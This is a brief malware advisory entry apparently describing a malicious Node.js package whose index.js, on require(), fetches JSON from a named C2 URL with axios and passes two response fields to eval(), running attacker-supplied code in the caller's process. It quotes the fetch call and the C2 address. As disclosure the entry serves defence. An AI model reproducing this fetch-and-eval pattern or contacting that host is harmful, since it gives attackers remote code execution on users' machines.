GCVE-110-OSM-2026-1408

Executes arbitrary attacker-controlled Node.js code fetched from https://apiscriptv3.vercel.app/api/x at require() time via dual eval() calls in the main process. index.js makes a top-level axios GET to the C2 endpoint and evaluates both r.data.content_o and r.data.content_n, delivering two independent attacker-controlled payloads with full Node.js scope. On require(), index.js issues require('axios').get('https://apiscriptv3.vercel.app/api/x').then() and directly evaluates two fields from the response JSON: content_o and content_n. Both are runtime-fetched strings executed in the main process with access to the full Node.js environment. Unlike env_express there is no detached spawn — both payloads run synchronously in the caller's process.